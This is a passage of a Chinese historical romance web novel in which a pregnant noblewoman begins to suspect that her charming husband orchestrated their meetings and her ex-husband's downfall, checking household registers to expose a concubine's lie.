转而问她可有看到上沈家门的贵眷夫人们,有没有将人给认全了,过些时日她得跟着沈夫人赴宴,不能出岔子。 祝吟鸾一一应下之后,沈老太太又绕回她的身子骨,说她不能够掉以轻心,即便是太医叮嘱了无事也不能够放肆。 “是。” 没一会,沈老太太困了。 祝吟鸾带着小丫鬟在韵梅堂闲逛,喂红鲤。 怕她不小心失足,即便是中间隔着凭栏,小丫鬟们依然时刻注意着。 祝吟鸾表面喂着鱼食,心里却忍不住在想沈老太太说的事情,想到之前许多次跟沈景湛的偶遇,真的每次都很巧,巧得像是蓄谋偶遇。 这个念头出来之后,她自己都打了一个激灵,这怎么可能呢? 沈景湛处心积虑蓄谋跟她偶遇?她当时就是个有夫之妇,什么都不出挑,沈景湛图谋她什么? 这个念头又被祝吟鸾自己给按了下去,可是没有按下去多久,她又想起第二次出去了,去那个药斋。 那一次是在祝家,看着两家处理骆暄与长姐和离的事情,当时她失魂落魄,就这么走到了那条巷子,然后在小摊之上遇到了沈景湛,那次他是去做什么? 祝吟鸾有些想不起来了,绞尽脑汁,回想到沈景湛当时似乎给了她一盒糕点。 她的眸光忽而一凝,糕点 当时沈景湛跟她说是宫里带的,家里小妹不喜欢的了,所以送给她 对了,她又想起来了,那时候他过来巷子的缘由也是拿药,是给沈老太太拿药,说是抓的药少了一味药材? 至于为什么坐到她的身边,说是给家里小妹买吃食,见到她在摊贩这边坐,所以过来。 祝吟鸾回想着月份,那时候是几月? 是快要将近年关了。 将近年关! 祝吟鸾手里的鱼料啪嗒掉落在玉碗里,她好久没回神。 因为她察觉到了沈景湛当时话里的漏洞。 对,就是漏洞,还是一个致命的漏洞。 在下琉州之前,沈蔻玉那时候已经去湘南了,根本就不在京城,所以沈景湛说带什么糕点给妹妹?还帮她买吃食? 当然了,除却了沈蔻玉,沈景湛还有别的庶妹,可她都在沈家这么久了,没有见沈景湛跟家中哪个庶妹走得比较近距离。 什么庶出妹妹,就连沈蔻玉这个嫡亲的妹妹都不怎么敢跟沈景湛耍横,还有谁敢亲近沈景湛,在他的面前造次?根本就没有。 她不可能记错时日的,卫家的日子难熬,又是在长姐和离的那一日,沈蔻玉下湘南的时日也是亲口对她说的,不会有错。 所以,沈景湛当初是说错了话,还是骗她? 说错了怎么可能?沈景湛就算是说错也不可能两次都错吧? 那就是骗她了? 沈景湛骗她的目的究竟是什么?为什么要骗她?如果沈景湛是故意的,那怎么会找到那个巷子? 祝吟鸾的脑子里乱糟糟的,一直到掏空了鱼食都不知道,还是明芽提醒,问她是不是累了? 若是累了,扶着她回去歇息。 祝吟鸾心不在焉点头,她的目光忽而落到不远处的姣惠身上。 她想起来,那条巷子是姣惠带着她过去的。 如果是姣惠? 不可能,姣惠算是她的心腹,她亲自救回来的人,在她身边也有几年了,做事一直尽心尽力,怎么可能会骗她呢? 察觉到祝吟鸾出神的目光,姣惠随之看了过来。 “小姐,您怎么这样看着奴婢?”察觉到异常,姣惠询问道。 祝吟鸾神色微动,“没没有什么,只是觉得你和明芽的年岁似乎都到了,有没有考虑要看看婆家?” “小姐,奴婢不要嫁人,奴婢想要一直陪在您的身边。”姣惠还没有说话,明芽便已经率先开口,随后姣惠也点头说她不嫁人,只想跟着祝吟鸾。 “那我岂不是耽误你们了吗?”祝吟鸾嘴上这么说,心里却一直在想事。 她在想姣惠是什么时候来到她身边的? 姣惠如果有问题,她背后的人是谁? 想着想着,回院子的路上,想到那一次,她和卫如琢生了龃龉,姣惠问她有没有想过和离?甚至还提了沈景湛。 祝吟鸾忍不住心下一惊,她在想是不是巧合? 如果是的话,怎么去查? 祝吟鸾回院子之后,歇了好一会,姣惠看着她心绪不佳,却也没有往那地方想。 只以为祝吟鸾是真的想要把她和明芽给嫁出去,所以才难过。 祝吟鸾躺在床榻之上,怎么都睡不着,她在想沈景湛会不会骗她? 想来想去,她又想到一件事情。 那件事情也很奇怪。 是有关卫如琢的那个小妾,叫方种月的。 当时她说什么来着? 她的母亲似乎是在沈家做活的?说到这个方种月,祝吟鸾想起来她对她似乎没有什么恶意,当初她被庞氏罚跪,双膝乌青,方种月还给她送膏药? 当时方种月说的是想要讨好她一起对付长姐。 这一点倒是不可以,还能够说得上来。 只是那会子还有一桩事情呢,方种月陪着庞氏散步,一直跟庞氏提沈家的事情。 提就算了,甚至还频繁看向她。 那时候祝吟鸾不止一次感受到方种月的目光。 她跟庞氏说沈家人的脾性,甚至还提到了沈景湛的姻缘,说不喜欢家世过高的 还说沈景湛的心里有了喜爱多年的姑娘才一直不娶,当时方种月也朝着她看了过来。 那时候她还觉得奇怪,方种月究竟看她做什么?难不成沈景湛喜欢的姑娘是她? 是她? 不,不可能。 祝吟鸾甩开这个念头,她和沈景湛之前根本不认识,她真的想不起来了,对沈景湛完全没有印象。 真的太多巧合了。 卫家,沈家,她和沈景湛之间就好像…… 祝吟鸾又想到那个漏洞。 她实在是睡不着了,索性起身去找沈夫人。 “不是让你好生歇息吗?”沈夫人在后院看账,毕竟过些时日要宴请客人了。 “媳妇实在闷,想帮您看看账,不费事的。” 她要看看,方种月的话里有没有漏洞? 到底有没有这么一个人在沈家。 第69章 第69章沈景湛瞒了她很多事? 就连十分留心祝吟鸾的姣惠都没有察觉出端倪,更不要说忙碌的沈夫人了。 这些时日二房和三房夫人也在侧帮忙,的确是有些缺人手,祝吟鸾的本事还可以,但沈夫人还是顾忌她的肚子。 “你若是觉得闷,找人去你那院子里玩玩牌,这边人多,你在这万一有人冲撞了你怎么办?” 沈夫人第一反应还是觉得不行,所以直接拒绝了她,叫她快些回去。 盼了这么多年,沈景湛好不容易娶妻了,还是在这么短的时日之内有了孩子,惊喜之余又觉得不安心,家中上下尽管吩咐了,可千万不能出一点点差错。 更重要的是,沈景湛也叮嘱了,可不能辜负了他的嘱托。 “婆母,媳妇不喜欢玩牌。”她今日过来可不是单纯的为了看账帮忙,是要找人。 如果方种月的话里有漏洞,那就证明她这个人有问题。 方种月有问题,那沈景湛会不会也瞒了她很多事情? 思及此,祝吟鸾微一晃神,旁边的明芽动了她一下,提醒她,沈夫人在跟着她说话。 “你若是在京城找不到人陪你,我给你组席邀人,陪你玩。” 沈夫人也知道祝吟鸾大门不出二门不迈,基本上没什么交好的人。 唯独和沈蔻玉更亲近一些。 但这两天奉安公主在,还是不要让两人走得太近了,免得出事。 二房夫人道,“嫂嫂何必麻烦,叫媳妇们过来,陪湛哥儿媳妇玩就是了,湛哥儿媳妇若是不会玩,让她们带一带。” 沈夫人转念想想,觉得可以。 家里的人也能够放心一些,毕竟都知道祝吟鸾怀有身孕。 现如今沈家在办席面,终归不好给人递帖子上门,主要是客人还得招待着,万一空漏了,招待不周呢?零零散散都是费精神的事情。 刚要使唤人去叫,祝吟鸾却说不用,她只是想找点事情做,真的很不喜欢玩牌。 祝吟鸾已经说了两次不喜欢玩牌,不像是骗人。 沈夫人不好强人所难。 “那你在这边坐着,看着也行。”她让人给祝吟鸾拿紫檀圈椅,还吩咐了要垫鹅绒软缎,垫两个。 祝吟鸾坐下没一会,沈夫人又跟着二房夫人忙碌了。 这时候三房夫人带人取了绸缎回来,旁边的婆子们看着尺寸,正裁剪呢,比了数目,发现居然不够,这一对数,原来是跟着的婆子看花眼,拿少了。 三房夫人骂人都觉得费劲,吃了一口茶,带着人折返,重新去取回来,二房夫人说要夜明珠,再取一些茉莉香片,一道挂在廊下,取个“莫离”的好意头。 可是三房夫人带着人风风火火走远了,二房夫人原打发人去传话,想了想也跟着走了过去。 霎时就剩下沈夫人了。 沈夫人更忙,算盘拨得噼啪响,一堆人等着回话呢。 祝吟鸾在想钻什么空子比较好,能够让沈夫人松口。 她坐下好一会了,都吃了几块糕点,还没个主意,正发愁呢。 忽而听到外面管事情的,拿着帖子上门来了,说国公夫人来访。 这可不能够怠慢,沈夫人只能放下手里的活,让管事的人盯着,她去接待,祝吟鸾眼睫一动,刚要起身。 可她动作故意做得慢吞吞,沈夫人原本要带她一道去见人,以为她不舒服,让她别动弹了。 “你在这帮我盯着也好,我一会就回来。” 国公夫人提前来,那证明喜宴当天不能来了,不管是什么原因,沈夫人再忙都要去坐了陪着说说话,不能让对对方觉得沈家记仇。 祝吟鸾心里一喜,面上平静无波,“婆母您去,这边有儿媳。” “手脚麻利,进出的人小心,别叫少夫人受累。”沈夫人急匆匆撂下话离开。 祝吟鸾坐了一会,刚好起身帮忙,沈夫人之前给她的老妈妈连忙叫她别动。 “你们把账本给我,我过过眼也好,我不动。”祝吟鸾指着不远处的账,她之前看过,上面有记录沈府的家仆名册。 沈家但凡办什么宴会,府上的下人们分工明确,做得好的,赏银也特别高,册册都有名录,略翻翻就知道了。 老妈妈原本还不动,祝吟鸾软磨硬泡好几句,她才去拿过来,放在祝吟鸾手边。 祝吟鸾心里紧张,动作却轻缓。 只是她越看眉头却忍不住拧了起来。 因为她找不到这个人。 方种月的母亲不姓方,但沈家用人的名册旁边都注了身家有几口人,叫什么名,她几乎都看完了,根本没找到这户人。 祝吟鸾回想着当初方种月说的话,那会她说她母亲在沈家管事,还算有话语权。 可沈家长房管事的婆子虽然多,但也就那么几个。 根本没有这号人物。 会不会被调走了? 祝吟鸾摩挲着账本, 重新又看了一遍,还是没有找到。 旁边的老妈妈一头雾水,以为账本出了什么问题,追着问她,“少夫人,出什么事了?” “没有…”祝吟鸾扯出一抹笑。 她补充道,“只是许久不看账目,瞧着竟然觉得有些许吃力了。” 原来是这样,老妈妈笑着说,“您如今怀着孩子身份尊贵,不用管这些。” 祝吟鸾只是笑,没有接话,她敛下睫,眼珠子一转,打探老妈妈的话,问她道,“这些时日听说叔叔婶婶们往长房拨了人来帮忙,家里岂不是空缺了吗?” “我是想看看那些来帮忙跑腿的妈妈们,有没有单独记册,万不能怠慢了。” 老妈妈笑,“少夫人做事果然妥帖,总顾念到细节处,您放心二三房旁支亲戚支用过来的人全都另起了册子。” 祝吟鸾问在哪?她想看看,老妈妈没有起疑,很快就给她找来了。 的确是个新册子,祝吟鸾边翻边不经意的问,长房有没有派人过去帮忙? 老妈妈说没有,“玉小姐要出阁门,长房用人紧,没有派人过去。” 她又跟祝吟鸾说,除非二三房旁支亲戚们有大事,沈夫人才会统一拨人过去。 “少夫人您问这个做什么?”老妈妈也是经年的老人,顿时觉得有些奇怪。 长房都在办宴请客往外找人了,怎么还支人出门呢? “我就是好奇,怕二三房的叔叔婶婶们身边空了缺。” “原来是这样啊。”老妈妈按下疑心。 说话间,祝吟鸾已经看完了账本,她心里不安,沈家没有这么一个人。 方种月说谎了。 祝吟鸾冷静下来,仔细回想了一下,根本都不用找账本看,方种月在庞氏耳边说,她的母亲在沈家管事。 可沈家管事的人基本没有换过,就是那几个婆子。 自问嫁到沈家也有几月了,上次她帮沈夫人看账,已经过了眼,管事的婆子媳妇们,根本没有这一号人物。 而且,方种月还说过她母亲曾经借调去沈老太太的院子里帮过忙,这句话就不对。 沈老太太身份高,身边伺候的人不能马虎,都是积年累月用下来的心腹,人手完全足够,哪里会需要空缺,以至于借调去帮忙了? 能借调去沈老太太房里使唤的人,毕竟有规矩有身份,不然都不够格。 可在沈家够格的,她都认真瞧了,与方种月描述的“母亲”半点不沾边。 方种月为什么说谎,是谁指使她? 她既然不是沈家人,对沈家的事情那么清楚?不仅仅是沈家,就连沈景湛有喜欢的人她都知道?还说是从沈老太太那边听来的。 沈老太太身边的人嘴严得要命,纵然是有借调过去的人,谁敢跟新来的人乱嚼.舌.根? 那会子她不在意沈家的事情,没有放在心上,如今回想起来,方种月的话里全都是漏洞。 到底是谁指使方种月,故意把这些话漏到她的耳朵里给她听? 是了,难怪当时方种月说一句看她一眼,表面上是讲给庞氏,实际上是说给她吧? 思及此,祝吟鸾心里越发乱了。 那种走在迷雾的感觉又来了,这一次不仅仅是迷雾,她甚至觉得惊慌。 隐隐约约之间仿佛有什么东西她不知道的正在浮出水面。 而从方种月和沈老太太那边偶然得知的消息,沈景湛话里的漏洞,方种月的谎言,仿佛一扇笼罩着迷雾的门,被她无意间给推开了。 她看着门口的深不见底,吓得有些许无措。 “少夫人,您怎么了?”旁边的明芽都留意到她脸色不对。 祝吟鸾连忙正色,“…觉得有些饿了。” 众人松了一口气,“您饿了怎么不早说?” 眼看着就要到晚膳时分,下人们就只给她拿了一些精致的小食。 沈夫人没回来,沈景湛先回来了。 祝吟鸾虽然已经调整好了心绪,可对上眼前这张温润如玉的面庞,心里有些发怔。 如果真的都是沈景湛做的,那这也是他的假面了? 他对她说谎靠近她,又指使方种月做那些,究竟想要做什么? 祝吟鸾想不明白。 那时候她和沈景湛根本就不认识啊,说是喜欢,图谋她?未免也太牵强了一些。 “鸾儿,你怎么了?”她不过就是略微走神,沈景湛便已经察觉了。 祝吟鸾连忙回魂,“适才看账,字太多,有些力不从心了。” “母亲让你不要做,你怎么还过来了,嗯?”他伸手抚摸她的头发。 男人清冽的气息扑面而来,温柔磁和的话萦绕在耳畔。 他面相生得芝兰玉树,实在太好,眉眼微微含笑,她便已经挪不开眼睛了,只想盯着他看。 “我…”祝吟鸾匆匆瞥开眼睛。 “我就是有些闲不住,想帮帮母亲。”沈景湛揽着她的腰肢过去正厅。 祝吟鸾垂眸看着两人.交叠在琉璃灯下的影子。 沈景湛宽肩窄腰,身姿颀长,她矮了一些,完完全全被他给笼罩了。 就好像被人蒙在鼓里的样子,她都不清楚,这一切究竟是怎么回事。 要直接问沈景湛吗? 倘若直接问,他会怎么跟她解释?说是记错了,是给别人带的?他不认识方种月?但种种事迹又指向他。 祝吟鸾心里乱乱的,根本没有办法沉静下来。 沈景湛留意到她的失神,给她拢了拢披帛,眸光微闪,问她是不是听到了什么风声。 祝吟鸾一惊,还以为他又揣摩出来了,错愕反问什么? “卫家的事情,鸾儿不知道吗?”他道。 “卫家什么事?”祝吟鸾问他是不是卫如琢不举的事情。 “不是。”沈景湛道。 “那是什么?”他看着她的神色,迷茫不解,看来她的确不清楚了。 虽然愉悦她不在乎卫家的事情,但她频繁走神又是因为什么? 沈景湛不喜欢事态脱离掌控,尤其还是关乎她的。 既然不是卫家的事情,那她的失神是因为什么? “夫君,卫家怎么了?”祝吟鸾疑问。 沈景湛话说一半就不说了。 “也不是什么大事,用过晚膳回了院子和鸾儿说。” 他怕祝吟鸾听了影响胃口。 国公夫人和沈夫人交情深,这次沈家喜宴和她家迁祖的事情撞了时日,国公夫人特地提前上门来,说那日不得空了。 沈夫人宽慰她,道无妨呢。 国公夫人携带了厚礼上门,亲自给沈蔻玉送了一对水头极好的玉镯,沈夫人叫沈蔻玉过来见客谢礼。 沈蔻玉沉闷了很多,虽然面上笑着,骨子里看着不怎么开心,国公夫人也知道怎么回事,哄了几句。 不仅仅是给沈蔻玉带了礼,就连祝吟鸾和沈老太太的礼,国公夫人也带了。 祝吟鸾是身孕礼,沈老太太是病中的探望礼。 有国公夫人在,长房更热闹了些。 今儿奉安公主倒是没出席,听沈蔻玉说,国公夫人家的公子俊逸,先前还跟奉安公主有旧闻。 只是不知为何,总之闹了,还闹得不太好看。 所以,不见面为好,奉安公主就没过来正厅用晚膳。 “……” 祝吟鸾心里装着事情,饭菜没吃太多。 沈景湛问她是不是不舒坦,她说膳前用了一些糕点小食,这会子吃不下了。 沈夫人也留意着祝吟鸾的胃口,见她没吃多少,怕她夜里饿,让膳房备着菜,随时给她弄吃的。 听到沈夫人无微不至的嘱咐,即便知道是因为孩子,祝吟鸾心里依然淌过暖流。 平心而论,她到沈家以后的日子,比她在卫家好多了。 原以为沈家门第高,家里的人都不好相处,必然看不上她,却没想到,基本没人为难她,这说来说去,也得益于沈景湛的偏袒。 因为他的照拂,她在沈家有尊荣,任何人都不敢怠慢,轻视。 话虽如此,祝吟鸾又想到那些事,“……” 回院子以后,沐浴出来,祝吟鸾才想起 来问卫家出什么事了? 沈景湛刚要进书房,临了转了一个弯,他来了一句,“我原以为鸾儿不会问了。” “没想到,还记挂着?” 祝吟鸾听着话茬不大对劲。 也是跟沈景湛在一处久了,无形当中被他带得直来直往,她问他, “夫君此言,是在吃味吗?” 第70章 第70章卫家入狱,跟沈景湛无关吗?…… 祝吟鸾一直娇怯,很少有这么直来直往的时候,即便是有,也是他逼迫她。 将她彻底围困在角落里避无可避了,她方才会“反击”。 譬如令人印象最深刻的前两次。 那会他帮祝鸣生提携官位,她不理解,两人之间尚且“不熟”,她想说又不敢说,犹犹豫豫许多天,甚至跟着他拐弯抹角。 想来她原本打算一直憋着,结果被他逼得情绪失控,那时候还哭了,眼睛红红的像是兔子。 楚楚可怜看着他,瞧得人至今回想起来,心底都是软的。 后一次,便是在她身怀有孕之后,那时候她已经起了疑问。 他为了逼出她的心里话,再次以退为进,索性以孩子为借口,撞开了她的心,现如今也算是一点点渗透在不知不觉当中挤.进去了。 能听到她这句问话,着实有些不容易。 沈景湛把手里的青简递给身边的人,朝着她走过来。 男人颀长落拓的身影渐渐靠近,他的眉眼噙着淡淡的笑意,夜风携裹他身上的清冽,祝吟鸾的心不受控制跳得有些加快了,手指也忍不住蜷起来。 人人都道沈家世子沈景湛举世无双,她那时候没有见过还不以为意。 可跟沈景湛在一处久了,越发觉得他实至名归,再没有人比他更配陌上如玉,无双公子八个字了。 他这人,怎么看,都是出尘俊逸的,根本就挑不出一点瑕疵。 偏偏他的性子温润,更似美玉了。 可这块玉真的没有经过刻意的雕琢么? 祝吟鸾的心神不受控制闪了一下,她想到方种月和沈老太太那边察觉到的猫腻。 觉得他的出尘绝逸之下,仿佛漂亮带毒的花,有美轮美奂迷惑人心的作用,容易叫人失去防备。 “鸾儿最近总是频繁走神,明日我让太医过来给你瞧瞧身子。”他十分顾念她的身子,比沈夫人和沈老太太都还上心。 两者终归还是不同的,沈夫人和沈老太太顾念的是她肚子里的孩子,沈景湛跟她说,忧心她的身子骨。 当时听到他那么说,祝吟鸾忍不住愣了一下,定定瞧着男人的眼眸失神。 “卫家的事情听起来有些许糟心,鸾儿确定要我说么?” 祝吟鸾原本就是好奇,的确想听,沈景湛这么一说,她就更想听了。 她想要知道卫家这是怎么了? 在她还没有彻底说出来之前,沈景湛便已经从她的眼眸当中探明了她的意思。 可他还没有开口,祝吟鸾抿了抿唇又问,“夫君还没有回答我适才问你的问题。” 沈景湛已经坐到她的身侧,此刻听她又问,忍不住挑眉,轻笑出声,“难得见鸾儿如此较真,我也实话实说,的的确确是吃味了。” “我与卫如琢早便和离了,如今没有一点往来,你为何要吃味?”她只是隐隐约约觉察到,下意识说的话而已。 挑了梁子,顺势问下去。 “纵然如此,我便不能吃味了?” 两人原本是坐着面对面说话,沈景湛忽而伸手,拉着她的手腕,用了点力气,直接把她给拽过去了。 微微一转,祝吟鸾就到了他的怀中。 她的面皮子薄,刚坐到他的腿上,整个人的脸瞬间就红润了起来。 祝吟鸾捏着男人的臂膀,低声催促,“夫君,你快放我下来” 她的声音虽然急促,但是比方才还要小声。 神色满是慌张,急切。 “旁边没有人在看,鸾儿怎么总是害羞?” “我想要近一点和鸾儿面对面说话。” 小丫鬟们的确相当有眼力见全都低下头去,谁都不敢再看了。 可是祝吟鸾自己过不了心里这道坎,她还是没有习惯和沈景湛在人前如此的亲密。 实在是太羞赧了。 “你放我下来,我坐在夫君的对面,我们也可以面对面说话的。” 沈景湛这一次更直接,“我想要抱着鸾儿。” 她刚刚沐浴出来,身上飘浮着淡淡的香。 整个人软得要命,腰肢还是那么纤细,乌发拢在另外一边,顺滑无比。 两人先前有过很多次亲密,这些时日没有。 方才靠近而已,祝吟鸾就忍不住紧张和慌乱了。 她的两只手乖乖垂放在膝上,嫩白的面颊也低着,饱满的额上有碎碎的绒发,眼睫卷翘浓密。 沈景湛一只手揽着她的腰肢,另外一只手搁在圆桌之上。 轻而易举就圈住了她,看着她。 “鸾儿是紧张还是害怕?”他拨开她不怎么听话,从侧面掉落的乌发。 挡住了他想要看的,她的脸。 可适才将她的长发给拨到耳后去,她又羞涩躲开了,整个人娇怯的宛若雨中颤栗的栀子花。 可她的面颊又是粉润的,比幽静的栀子更漂亮些。 沈景湛的目光久久凝在她的侧脸,难以挪开。 “你夫君不要这样看着我。”她实在受不住他炙热无比的视线。 真要被他看得整个人仿佛起了火。 她又别过脸去,也是这时候,祝吟鸾留意到周围的小丫鬟们竟然不知在何时全都退到了外面去,阻隔内外室的珠帘玉幕都被放了下来。 “鸾儿娇俏貌美,我想看。”沈景湛居然说这样的话,祝吟鸾险些都不相信居然是出自他的口中。 “京城美人多如过江之鲫,我不算美。” “旁人便是胜过天仙百倍,在我心中依然难敌鸾儿半分。” 即便是知道两人此刻情浓,沈景湛说这样的话,不过就是“顺势而为”,就好似当年她跟卫如琢,彼此情意到浓处时,他也说过差不离的话,可是后来如何了呢? 但就算是知道了结果,祝吟鸾还是心尖发热发烫。 谁抵得住京城第一公子在人耳畔温言细语,说着缱绻粘稠的情话? “鸾儿呢?” 见她整个人的面颊红得好似要滴血一般。 沈景湛的唇角越发勾起。 “什么?” 祝吟鸾紧张之下,思绪有些沉顿,根本就没有反应过来,沈景湛究竟在跟她说些什么。 “我在鸾儿的心中如何?”他问。 祝吟鸾抿唇,“夫君自然是玉树临风,风华绝代。” “真话吗?” “嗯。”她害羞,声音也略微含蓄,更不敢看着他。 沈景湛却不放过她,“鸾儿若是真觉得我绝代风华,怎么不看着我说,嗯?” 祝吟鸾还是羞涩,根本不敢说,索性装聋作哑。 沈景湛却没有就此制止下来,他道,“所以,鸾儿果真是骗我么?” “没有,我从不骗人。”她骗过人么? “是吗?”男人挑眉,意外她话语里的认真,越发觉得她格外的可爱。 “是”祝吟鸾轻声应,点头。 脸越发往旁边瞥去,她动了动臀,算是背过身,不叫沈景湛看着她的脸。 可是她才微微转动,沈景湛起初没有动作,等她动了之后,缠绕在她腰肢上的大掌一动,又将她整个人给调转了过来。 适才沈景湛不过就是瞧着她的侧脸,此刻却是直接面对面了。 祝吟鸾抬眼就撞入男人的眼眸当中。 她的腿分开,是叉开坐在他的大腿之上。 很危险又很暧昧的姿势,不像是沈景湛强行将她抱到腿上,更像是她主动爬到沈景湛的腿上。 按理说,身怀有孕的人若是这样坐的话,会很不舒服,她的月份还小,这样却也舒坦。 祝吟鸾紧张之下,更不想抬头了,沈景湛起初只是俯身靠近,将他的额抵碰上.她的额头。 她感受到了男人的温热。 她都不清楚沈景湛分明是温润有礼的,他身上的气息也柔和清冽。 却不知为何会在无形之间给她带来那么强烈的压迫感,让她觉得她退无可退,在他的面前简直无所遁形了。 这还是沈景湛吗? 这是沈景湛吗? 祝吟鸾闻着鼻端不断萦绕的男子气息,被他俊逸的眉眼迷得无法周转眼神。 她觉得自己被架在一团名为“沈景湛”的火上燃烧着。 不是好好说着话么? 似乎才三两话的功夫,怎么就变成了这个样子? 祝吟鸾强迫自己的思绪回笼,终于想起来了,事情之所以会变成这样,是因为沈景湛问她,他在她心里如何? 她说了他又不信。 害怕事态发展下去即将不可控制,祝吟鸾决定力挽狂澜,她又跟沈景湛说,在她的心里沈景湛无比俊逸,同样没有任何人可以比拟。 沈景湛闻言笑了一下,祝吟鸾还以为这样就完了,沈景湛会放她下去了,却没有想到,沈景湛根本就没有放她下去,他甚至还在接着问她和卫如琢比呢? 祝吟鸾闻言,“?” 她意外沈景湛为何突然就提到了卫如琢。 听起来像是玩笑的随口一言,可对上沈景湛的眼睛,祝吟鸾就知道他不是玩笑。 因为他的眼眸无比深邃,仿佛幽深夜潭,漂亮迷幻,深不见底,深不可测。 “你你怎么又提他?”祝吟鸾当真是心烦意乱,自然又不叫他夫君了。 沈景湛挑眉,“这个问题是不是太过于为难鸾儿了?” “并非我强人所难,只是真的很想要知道。” 涉及到卫家,祝吟鸾心中的旖旎心思散了一些,主要是被恶心的,一想到厌恶的事情,自然是觉得心烦了。 “你你是介意我和卫如琢有过往事吗?” 不然为何要一直询问。 “不是介意。”沈景湛见到她的神色隐隐有几分认真,便知道她在想些什么了,直言跟她解释道。 “既然不是介意,那你为何要这样问我?让我去在你与他之间进行比较?” 既然沈景湛都说了不是介意,祝吟鸾只想要快点结束这个话茬,她道,“卫如琢根本就不能与你” “与我什么?” “与你相提并论。”这句话的声音稍微小了一些,说到底也还是羞的。 “他不能跟我相提并论,原来我在鸾儿的心里地位如此之高么?”沈景湛道。 饶是脸上红温难退却,祝吟鸾却也还是点头,并且重复了一遍,“嗯。” “适才都说了不是骗夫君,你在我眼里没有任何人可以比拟。” 沈景湛笑,他低头啄吻她的唇瓣。 猝不及防的一个吻,祝吟鸾整个人还有些许怔懵。 男人却已经朗声笑开了,“不论真假,听到鸾儿的这一句话,叫我心中愉悦万分。” 沈景湛虽然往日里也是笑,却极少笑成如今这个样子。 祝吟鸾瞧着男人朗润惑人的眉目,又无意识沦陷在了其中。 好一会,她才回神,清咳一声。 “夫君,你先放我下来,你不是还有公差要办吗?你先去忙,不要耽误了朝政。”祝吟鸾又开始催促他。 沈景湛却在这时候主动跟她说起卫家的事情。 听到卫家老大人卫籍居然大义灭亲,在朝堂之上弹劾卫如琢,说家中一切他远在外地都不知情,还罗列举证了一些大理寺和督查司都查不到的罪证。 如今卫如琢就等着过堂审问,关押入狱了。 祝吟鸾彻底愣在原地,还以为自己听错。 “卫老大人大义灭亲” 那是他的亲儿子啊,庞氏的命根子,怎么就 卫家老大人罗列举证卫如琢的罪证,这不是被最亲的人给舍弃了吗? 卫如琢估计怎么都想不到,他的父亲卫籍回京,不是为了救他,而是为了背刺他?这谁能想得到。 中间到底发生了什么事情?卫籍居然做出这样的选择,难不成真的是因为卫如琢不能够生育,他又在外地有了私生子? “弃车保帅,这是卫家的选择。” “我就是担心鸾儿听了害怕,本来不打算说的。” 沈景湛垂眸掩下眸中的刺骨冷意,他腾出一只手倒茶。 说到卫家,祝吟鸾不可避免想到方种月,再听到这一句弃车保帅,她心中一紧,也不知为何,下意识就看向了沈景湛。 她忍不住在想,卫如琢被最亲之人背弃,遭卫家踢逐,究竟有没有沈景湛的手笔? 她也不知道自己为何会这样想,可就是控制不住。 但她垂眸只见男人如画眉眼,一派俊逸无害。 他倒茶的动作慢条斯理,矜贵优雅。 不像是会做出这么杀人诛心,又不见血的残忍事情的人。 可 真的跟沈景湛没有关系吗?【你现在阅读的是 】 70-80 第71章 第71章沈景湛会是操纵一切的那个人…… 她怎么觉得事情在无形之间还是跟他有关系。 或许真的是受方种月和沈老太太今日所言影响,总之,她觉得事情有蹊跷。 一次就算了,这可是两次啊。 更让人觉得奇怪的是,她居然在沈景湛倒茶的恣意优雅之间,品出了更令人奇怪的坐收渔翁之利之感。 他像是背后的操.盘手。 对,卫家的一切就像是有人在操纵。 而沈景湛会是操纵一切的那个人么? 她不知道。 说到操纵,她又回想起来一件事情,当初她担心沈景湛受到牵连,祈求沈景湛不要再管祝家的事情,沈景湛跟她说了一句话。 他说这盘棋已经开始下了,执棋的人不只他一个,所以不能够贸然收手。 他到底是执棋者,还是参与者? 祝家的灾祸至今悬而未决,卫家的突破口在于卫籍大义灭亲,舍弃亲子,将卫家所有的灾祸全都推到了卫如琢的身上,才能够保全卫家剩余的人。 可未免过于残忍,祝吟鸾无心怜悯卫如琢,之所以感叹,是因为她也曾被至亲骨肉给舍弃过,那种滋味 若是两相对比下来,卫如琢似乎比她还要更惨一些。 她当时走投无路,卫如琢如今已锒铛入狱。 “鸾儿,你怎么又在走神?” 不过是微微闪神而已,沈景湛居然又发觉了。 祝吟鸾连忙回神,“我就是被吓到了。”她没有回避卫家的事情。 直道,“在朝廷事面前,卫老大人大义灭亲固然是好,可我不免觉得他有些心狠手辣,毕竟虎毒不食子。” 到底是亲生的儿子啊。 或许,真的是因为父子分离多年,没有情分了吧? 在她的印象里,卫籍这位公爹还是慈和温良的,没想到行事这么果毅。 当真是人不可貌相。 沈景湛呢?有朝一日他脱开了他的温润,会是什么样子? 祝吟鸾没有办法想象,却又忍不住冒出这个念头来。 “早知道我便不说了,鸾儿吃一口茶压压惊,已经不烫了。” 他把放到她手 边的茶水端喂到她的嘴边。 祝吟鸾方才尝了一小口,温热的水入了喉咙,她彻底回神,两只手接过茶盏,“我、我自己喝。” 这又是抱又是喂的,哪里受得了。 沈景湛没有过分强求。 他任由她接过茶盏自己喝,就这么看着她喝水。 或许是在拖延时间,她整个人就像是小猫一样,小口小口抿着,仰头的时候,睫毛无意识颤着。 沈景湛一只手圈着她,另外一只手撑在圆桌那,就这么看着她。 祝吟鸾喝完水,见到男人慵懒的姿态。 她抬手擦拭着嘴角,躲避男人的视线。 “鸾儿频繁走神,是担心吗?” 他又来了。 即便是没有说出后面那个人的名字,祝吟鸾也知道沈景湛要提卫如琢。 纵然是吃味,也计较得太频繁了一些吧? 祝吟鸾放下茶盏之后,“我只是唏嘘而已。” “卫如琢的下场好不了。”沈景湛道。 “会处死么?”她问。 闻言,沈景湛看向她的小脸,她看着他,但不敢过分与他对视,眼瞳时不时左右躲闪,有趣又可爱。 “鸾儿希望他被处死么?”沈景湛勾唇反问。 “我我不知道。” 她的确是厌恶卫如琢,但若是希望他死当初在有司衙门的时候的确希望卫如琢死,可如今或许是身怀有孕,总觉得却也不至于就要他死了,毕竟是条人命。 但卫如琢咎由自取,那也是他自己的命数,跟她没有任何的干系。 “不知道那就是不希望?” 沈景湛往日里总是一语中的猜中她的心思,今日却一直在反复询问。 祝吟鸾也察觉到他的话语里,隐隐约约弥漫着一股醋味。 “夫君期望我怎么希望?”她索性就跟沈景湛绕弯子。 “我自然是期望鸾儿盼着他死。” 毕竟,卫如琢碍眼,现如今的下场,在他看来,还是手下留情了。 “夫君心中所想便是我心中所想。” 如此说,沈景湛是否满意了? 可他似乎还是不怎么相信,就这么看着她的脸,她的眼睛。 迎上男人的目光,祝吟鸾没有回避,任由他审视自己。 她清楚,沈景湛这么看着她,就是想要看看,她有没有欺骗他吧? 